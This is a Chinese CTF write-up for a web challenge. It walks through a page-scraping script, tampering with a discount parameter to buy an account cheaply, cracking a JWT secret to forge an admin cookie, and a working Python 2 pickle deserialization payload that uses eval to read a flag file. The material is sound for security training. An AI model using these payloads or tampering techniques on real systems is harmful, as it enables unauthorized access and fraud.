思路
按部就班,Python反序列化,反弹Shell
流程
0x01 脚本
拿到题看到有登录注册等等界面,先随便注册个号
注意网页上说要拿lv6的号,放眼望去全是lv2-lv5
审查元素发现对应的图片是lv2.png - lv5.png
写个脚本观察哪一页有lv6
import requests
url = 'http://111.198.29.45:52085/shop?page='
if __name__ == '__main__':
for i in range(1,500):
req = requests.get(url + str(i))
if 'lv6.png' in req.text:
print(i)
跑出结果180
我们把网页栏的page改到180,看到一个lv6的号,然后我们发现这个号太贵了
0x02 逻辑绕过
点击购买,我们用Burpsuite抓包
然后我们惊喜的发现了这个包有个参数叫折扣
于是我们修改折扣为0.0000000000000000001,于是我们就可以购买了
接着,跳出了一个页面:简而言之要用admin登录。
0x03 JWT爆破
看下Cookie参数,我们可以发现这个里面有个叫JWT的参数;看到后就能反应过来,这个东西相当于是一个认证的凭据,上JWT.IO试图翻译,发现有密码。
我们用C-JWT-Cracker(其实我更推荐JohnTheRipper)来破解,解出密码是1Kun
我卡在这里了,坑爹的Python JWTCracker跑不出来,真是垃圾
用破解的密码签名JWT,替换Cookie,我们看到了一个“一键成为大会员”。
0x04 源码审计
看网页源代码,我们可以看到一个zip包,我们下载下来,发现是源码。
然后源码审计出Admin.py存在Pickle反序列化漏洞
0x05 Pickle反序列化
注意Pickle的版本。
在攻防世界上面,似乎没法反弹shell;所以我们只能使用网页的response来展示答案。
import pickle
import requests
import urllib
import os
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)
注意要在Python2下面跑,生成的参数来改掉包POST的become参数,即可出现Flag
坑
0x01 Pickle版本
不同Python版本Pickle的操作不一样,要用对应的版本;一开始我用Python3的Pickle做,结果结果完全不一样,换成Python2即可
0x02 JWT-Crack效率
尽量使用高效的Jwt Cracker,不然明明会做的题就会浪费时间卡住。
Comments NOTHING